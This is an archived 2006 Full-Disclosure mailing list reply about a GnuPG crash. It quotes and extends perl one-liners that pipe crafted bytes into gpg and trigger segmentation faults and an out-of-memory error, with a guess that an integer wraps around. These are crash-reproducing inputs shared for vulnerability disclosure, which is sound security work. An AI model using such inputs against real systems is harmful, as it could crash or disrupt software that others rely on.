lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <1149132010.11517.21.camel@syd0137.fujitsu.com.au>
Date: Thu Jun  1 04:20:24 2006
From: kluge at fujitsu.com.au (Steffen Kluge)
Subject: GnuPG fun

On Wed, 2006-05-31 at 15:55 +0400, Evgeny Legerov wrote:
> $ perl -e 'print "\xcd\xff\xff\xff\xff\xfe"'| /var/gnupg/bin/gpg --no-armor
> gpg: /home/ggg/.gnupg/options:82: deprecated option "honor-http-proxy"
> gpg: please use "keyserver-options http-proxy" instead
> 
> gpg: Segmentation fault caught ... exiting
> Segmentation fault

Something wrapping around?

$ perl -e 'print "\xcd\xff\xff\xff\xff\xaf"'|gpg --no-armor
gpg: out of  memory while allocating 4294967295 bytes

$ perl -e 'print "\xcd\xff\xff\xff\xff\xb0"'|gpg --no-armor

gpg: Segmentation fault caught ... exiting

4294967295 is 0xffffffff, of course.

Also works with gpg2 (v.1.9.20)

Cheers
Steffen.

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060601/0261c479/attachment.bin

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ